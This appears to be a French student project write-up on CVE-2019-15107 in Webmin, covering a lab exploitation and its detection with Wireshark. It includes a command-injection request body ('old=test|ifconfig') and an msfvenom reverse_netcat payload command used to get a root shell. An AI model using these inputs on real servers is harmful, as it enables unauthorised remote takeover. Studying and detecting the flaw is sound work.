
projet scolaire
I. Aperçu de CVE-2019-15107
Webmin est une interface web pour l'administration système sous Unix. En utilisant n'importe quel navigateur web, on peut configurer des comptes utilisateur, Apache, DNS, le partage de fichiers et plus encore.
Le 10 août 2019, le chercheur en sécurité turc Özkan Mustafa Akkuş a publié une vulnérabilité Zero-day à DefCon. En plus de la divulgation de la vulnérabilité, Akkuş a également publié un module Metasploit pour automatiser l'exploitation de cette vulnérabilité. En raison d'une vulnérabilité d'exécution de code dans la fonction de réinitialisation de mot de passe du fichier password_change.cgi, cette vulnérabilité permet à un tiers d'exécuter du code malveillant sans authentification.
II. Versions affectées
Cette vulnérabilité affecte les versions de Webmin de 1.882 à 1.921. Pour prévenir cette vulnérabilité, ceux qui utilisent Webmin devraient mettre à jour vers la dernière version 1.93.
III. Analyse de la vulnérabilité
Dans webmin, la fonctionnalité "permettre le changement de mot de passe utilisateur" doit être activée pour exploiter cette vulnérabilité. C'est la seule condition, mais de nombreux administrateurs webmin activent cette fonctionnalité. Elle permet aux utilisateurs de définir un nouveau mot de passe avec l'ancien mot de passe. Dans le code source de l'application Webmin, il y a plusieurs fichiers ".cgi" notables. L'un d'eux est password_change.cgi.

Il n'y a qu'une seule exigence pour que les paramètres de ce fichier fonctionnent : la valeur "passwd_mode" dans le fichier de configuration "miniserv.conf" doit être définie sur "2".

À ce stade, nous utiliserons "|" en lisant le fichier /etc/shadow lors de l'authentification de l'ancien mot de passe. Exemple de commande de changement de mot de passe normal :

Si nous insérons une commande simple comme "ifconfig" dans la commande de changement de mot de passe comme ci-dessous, la commande "ifconfig" a été exécutée et le résultat affiché.

IV. Modèle de déploiement
Machine Ubuntu (victime) installant webmin version 1.920 avec l'adresse IP : 192.168.109.128

Machine Kali (attaquant) avec l'adresse IP : 192.168.109.131


V. Exploitation de la vulnérabilité CVE

Ensuite, la machine attaquante envoie cette requête via l'onglet Repeater de Burp Suite pour tester la vulnérabilité.

L'attaquant modifie certaines informations du paquet de requête capturé. En effet, pour changer le mot de passe, la méthode HTTP doit être POST et non GET comme initialement.

Ensuite, la machine attaquante envoie une requête de changement de mot de passe à partir de l'ancien mot de passe vers le serveur webmin de la victime :
"user=test&pam=&old=test&new1=test2&new2=test2"

Lors de l'envoi de la requête, nous recevons un message indiquant que l'ancien mot de passe ne correspond pas (The current password is incorrect), donc le cœur du problème réside dans le paramètre "old".
Ensuite, nous essayons d'insérer une commande basique comme ifconfig après le paramètre old afin que lorsque le serveur vérifie l'ancien mot de passe, il exécute également la commande insérée. Par exemple :
"user=test&pam=&old=test|ifconfig&new1=test2&new2=test2"

De même que précédemment, lorsque le serveur vérifie l'ancien mot de passe, il est toujours incorrect, mais après cette vérification, la commande "ifconfig" a été exécutée et affichée.
Ensuite, pour prendre le contrôle root, nous utiliserons Metasploit framework pour créer un payload à envoyer au serveur webmin de la victime afin d'obtenir une session shell.
"msfvenom -p cmd/unix/reverse_netcat lhost= lport="

Ensuite, nous copions le payload et l'insérons dans la requête sur Burp Suite.

Après avoir envoyé la requête contenant le payload au serveur webmin, la machine victime a été compromise par un reverse shell. La machine attaquante reçoit une session shell vers la machine victime (ip: 192.168.109.128 port 37218).

Ainsi, nous avons obtenu le root via cette vulnérabilité CVE.

VI. Identification de la signature de l'attaque
Utilisation de Wireshark pour capturer les paquets au niveau réseau.

Pour exploiter ce CVE, l'attaquant doit utiliser le lien /password_change.cgi pour envoyer des requêtes contenant un payload malveillant via la méthode POST HTTP. Nous devons donc analyser les paquets HTTP capturés dans Wireshark.

Nous voyons que la commande "ifconfig" est insérée pendant le processus où le serveur webmin vérifie l'ancien mot de passe à changer.
